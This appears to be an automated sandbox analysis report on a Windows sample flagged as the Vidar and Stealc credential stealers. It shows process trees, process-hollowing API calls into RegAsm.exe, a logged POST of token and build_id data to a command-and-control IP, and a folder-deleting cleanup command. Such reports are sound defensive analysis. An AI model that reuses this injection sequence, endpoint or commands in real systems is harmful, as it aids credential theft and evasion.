2024-10-02 15:18:02 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 15:18:04 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	65311	49.12.197.9	443	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:18:05 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:18:05 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 36 35 33 62 36 63 63 34 65 63 66 62 66 63 63 66 62 65 35 33 64 39 34 39 31 65 38 66 65 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"43653b6cc4ecfbfccfbe53d9491e8fe9------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------DAAECAFHDBGIDGCAEHJECont
2024-10-02 15:18:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:18:05 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Target ID:	0
Start time:	11:15:48
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\66fb252fe232b_Patksl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\66fb252fe232b_Patksl.exe"
Imagebase:	0x550000
File size:	1'964'072 bytes
MD5 hash:	34EC7A5A9154386680A400B65CADA6CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:15:49
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:15:51
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc30000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:15:59
Start date:	02/10/2024
Path:	C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe
Imagebase:	0x9c0000
File size:	423'840 bytes
MD5 hash:	237AF39F8B579AAD0205F6174BB96239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:15:59
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:16:01
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xae0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3153652964.000000000120A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:17:06
Start date:	02/10/2024
Path:	C:\ProgramData\HDGIJJDGCB.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HDGIJJDGCB.exe"
Imagebase:	0xb10000
File size:	391'072 bytes
MD5 hash:	C7E7CFC3ED17AEF6C67C265389593EE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:17:06
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:17:07
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:17:09
Start date:	02/10/2024
Path:	C:\ProgramData\EBKJDBAAKJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\EBKJDBAAKJ.exe"
Imagebase:	0x1b0000
File size:	423'840 bytes
MD5 hash:	237AF39F8B579AAD0205F6174BB96239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:17:09
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:17:10
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:17:11
Start date:	02/10/2024
Path:	C:\ProgramData\AAAKEBGDAF.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AAAKEBGDAF.exe"
Imagebase:	0x9e0000
File size:	344'992 bytes
MD5 hash:	022CC85ED0F56A3F3E8AEC4AE3B80A71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3126199282.0000000003DD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:17:11
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:17:13
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xfe0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3584946793.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:17:17
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDGCGDBGCAAE" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:17:17
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:17:17
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x610000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userDHCAECGIEB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Users\userDHCAECGIEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userDHCAECGIEB.exe"
Imagebase:	0x700000
File size:	423'840 bytes
MD5 hash:	237AF39F8B579AAD0205F6174BB96239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAKKEGCAAE.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Users\userBAKKEGCAAE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBAKKEGCAAE.exe"
Imagebase:	0xd20000
File size:	391'072 bytes
MD5 hash:	C7E7CFC3ED17AEF6C67C265389593EE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:17:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:17:29
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x660000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:17:29
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf40000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:17:30
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x200000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:17:30
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x500000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	27.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	43.8%
Total number of Nodes:	16
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02A52179 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02A520EB,02A520DB), ref: 02A522E8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02A522FB
Wow64GetThreadContext.KERNEL32(00000388,00000000), ref: 02A52319
ReadProcessMemory.KERNELBASE(0000039C,?,02A5212F,00000004,00000000), ref: 02A5233D
VirtualAllocEx.KERNELBASE(0000039C,?,?,00003000,00000040), ref: 02A52368
WriteProcessMemory.KERNELBASE(0000039C,00000000,?,?,00000000,?), ref: 02A523C0
WriteProcessMemory.KERNELBASE(0000039C,00400000,?,?,00000000,?,00000028), ref: 02A5240B
WriteProcessMemory.KERNELBASE(0000039C,-00000008,?,00000004,00000000), ref: 02A52449
Wow64SetThreadContext.KERNEL32(00000388,05560000), ref: 02A52485
ResumeThread.KERNELBASE(00000388), ref: 02A52494

Strings

aryA, xrefs: 02A521BF
SetThreadContext, xrefs: 02A5229F
VirtualAllocEx, xrefs: 02A52279
ress, xrefs: 02A52203
GetP, xrefs: 02A521FB
ReadProcessMemory, xrefs: 02A52266
CreateProcessA, xrefs: 02A5222D
Load, xrefs: 02A521B7
WriteProcessMemory, xrefs: 02A5228C
GetThreadContext, xrefs: 02A52253
ResumeThread, xrefs: 02A522B5
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02A522E7
TerminateProcess, xrefs: 02A52377
VirtualAlloc, xrefs: 02A52240

Memory Dump Source

Source File: 00000000.00000002.2292912067.0000000002A51000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a51000_66fb252fe232b_Patksl.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 2b4966c98e0279de2d0391fbef898d9080484aec250b677ae70ac49bf4832fb3
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: A8B1E47664028AAFDB60CF68CC80BDA77A5FF88714F158164EA0CAB341D774FA41CB94

Function 04E914D8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 04E91560

Strings

q, xrefs: 04E914DC

Memory Dump Source

Source File: 00000000.00000002.2294595159.0000000004E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e90000_66fb252fe232b_Patksl.jbxd

Similarity

API ID: ProtectVirtual
String ID: q
API String ID: 544645111-2264199742
Opcode ID: e92539f5213f7d82176226cfcc883ce3ec21ea045712831820c8dae433c31b57
Instruction ID: f58e8bcffce23942d72d0965bd5d6442cb3be386fe5b93c8ccad6ceec25d567e
Opcode Fuzzy Hash: e92539f5213f7d82176226cfcc883ce3ec21ea045712831820c8dae433c31b57
Instruction Fuzzy Hash: CD21F3B5D002499FEB10DF9AC881ADEFBF0FF48710F108419E959A7250C775A910CBA5

Function 04E914E0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 04E91560

Memory Dump Source

Source File: 00000000.00000002.2294595159.0000000004E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e90000_66fb252fe232b_Patksl.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 047e652198dc0b4ec9a69fcba38b56735189bd5db929f24d44864409b962ca9c
Instruction ID: 123c9b9eb7faa70bc5c824db3f6d69564c9ee78d00deaa4d36dd1af5d4e0c904
Opcode Fuzzy Hash: 047e652198dc0b4ec9a69fcba38b56735189bd5db929f24d44864409b962ca9c
Instruction Fuzzy Hash: A821E3B1D002499FEB10DFAAC881ADEFBF4FF48710F10842AE959A7250C775A910CBA5

Function 00E0D005 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2292491917.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0d000_66fb252fe232b_Patksl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eca527585f347189e9824d9ee8e93a78f7ae4b68771f1c6ada80a5f29b23d79
Instruction ID: 8fbc2bab030f8ca9cc3a25ee6e647792eee9e56e73a45118eebe2c6835f3a715
Opcode Fuzzy Hash: 2eca527585f347189e9824d9ee8e93a78f7ae4b68771f1c6ada80a5f29b23d79
Instruction Fuzzy Hash: B0010C6140E3C49EE7128B258C94B56BFB4EF53228F1981DBD9889F1E3C2699849C772

Function 00E0D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2292491917.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0d000_66fb252fe232b_Patksl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d703cc592a04fffb9b849f23ea9e0828d42fe692d26b20b028e85f522ea403c6
Instruction ID: 28a42f24160d92ad50f7bc978e5355d3a5ea9356985f9f009999fea56e3f82fd
Opcode Fuzzy Hash: d703cc592a04fffb9b849f23ea9e0828d42fe692d26b20b028e85f522ea403c6
Instruction Fuzzy Hash: 5C01F2714083459EE7208EA5CD84BA7BF99EF41328F18801AED4C6B2C2C2799882D7B1

Analysis Process: RegAsm.exePID: 5632, Parent PID: 2024COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	51%
Total number of Nodes:	2000
Total number of Limit Nodes:	57

Executed Functions

Function 004CE2E0 Relevance: 75.8, APIs: 16, Strings: 26, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CE503

